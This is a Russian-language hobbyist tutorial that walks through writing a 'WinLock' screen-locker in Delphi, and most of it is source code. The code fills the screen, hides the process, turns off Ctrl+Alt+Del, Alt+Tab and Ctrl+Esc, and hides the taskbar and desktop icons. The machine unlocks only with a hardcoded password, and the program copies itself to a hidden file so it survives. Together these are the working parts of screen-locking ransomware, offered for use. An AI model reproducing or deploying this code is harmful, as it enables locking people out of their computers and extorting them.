WINLOCK
-
как написать винлок на Delphi.
Чтобы написать данную программу нужно:- Delphi.
- 2 руки(или 1 нога):D:
- Голова.(не обезательно)
- 10 рублей (которые в конце урока вы отошлёте мне)
Запускаем Delphi, кидаем на форму TImage (Чтобы загрузить картинку блокиратора) TEdit, TButton.
и начинаем строчить.....
1.
↓↓↓↓↓↓↓↓↓↓
procedure TForm1.FormActivate(Sender: TObject);
var
hTaskBar : THandle;
begin
Edit1.Clear;
//исключаем из списка ALT+CTRL+DEL
ShowWindow (Application.handle, SW_HIDE);
//Размер формы:=Размеру Экрана
form1.Height:=screen.Height;
form1.Width:=screen.Width;
%(red)[//Отключаем ALT+CTRL+DEl ALT+TAB CTRL+ESC
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);]
%(blue)[//Убираем Панель задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_HIDE);]
%(green)[//Убираем Иконки с рабочего стола
ShowWindow(FindWindow(nil,’Program Manager’),SW_HIDE);
end;](пишем что блокирует или скрывает)
2.
↓↓↓↓↓↓↓↓↓↓
вводим какой символ будет отображать в вместо пасса.
вот код:
procedure TForm1.Edit1Change(Sender: TObject);
begin
Edit1.PasswordChar:=’*';
end;3.
делаем пароль
↓↓↓↓↓↓↓↓↓
procedure TForm1.Button1Click(Sender: TObject);
var
hTaskBar : THandle;
Password:string[10];
begin
Password:=edit1.text;
If (Password=’telonko.ru′) then
begin
//включаем alt+ctrl+del alt+tab ctrl+esc
SystemParametersInfo(SPI_SCREENSAVERRUNNING,0,0,0);
//Показываем иконки на рабочем столе
ShowWindow(FindWindow(nil,’Program Manager’),SW_SHOW);
//Показываем Панель Задач
hTaskbar := FindWindow(‘Shell_TrayWnd’, Nil);
ShowWindow(hTaskBar, SW_SHOWNORMAL);
//Закрываем прогу
Close;
end4.
Включаем прооверку пароля
↓↓↓↓↓↓↓↓
else
begin
Messagedlg(‘Попытка не пытка:): испытай судьбу ещо разок :):…’,mterror,[mbok],0);
Edit1.Clear;
end;5.
чтоб добавить в автозагрузку пишем ещо и етот код...
↓↓↓↓↓↓↓
CopyFile(PChar(ParamStr(0)), PChar('C:'+ 'название винлока (любое название).exe'),True);
SetFileAttributes('C:название винлока (любое название).exe', faHidden);
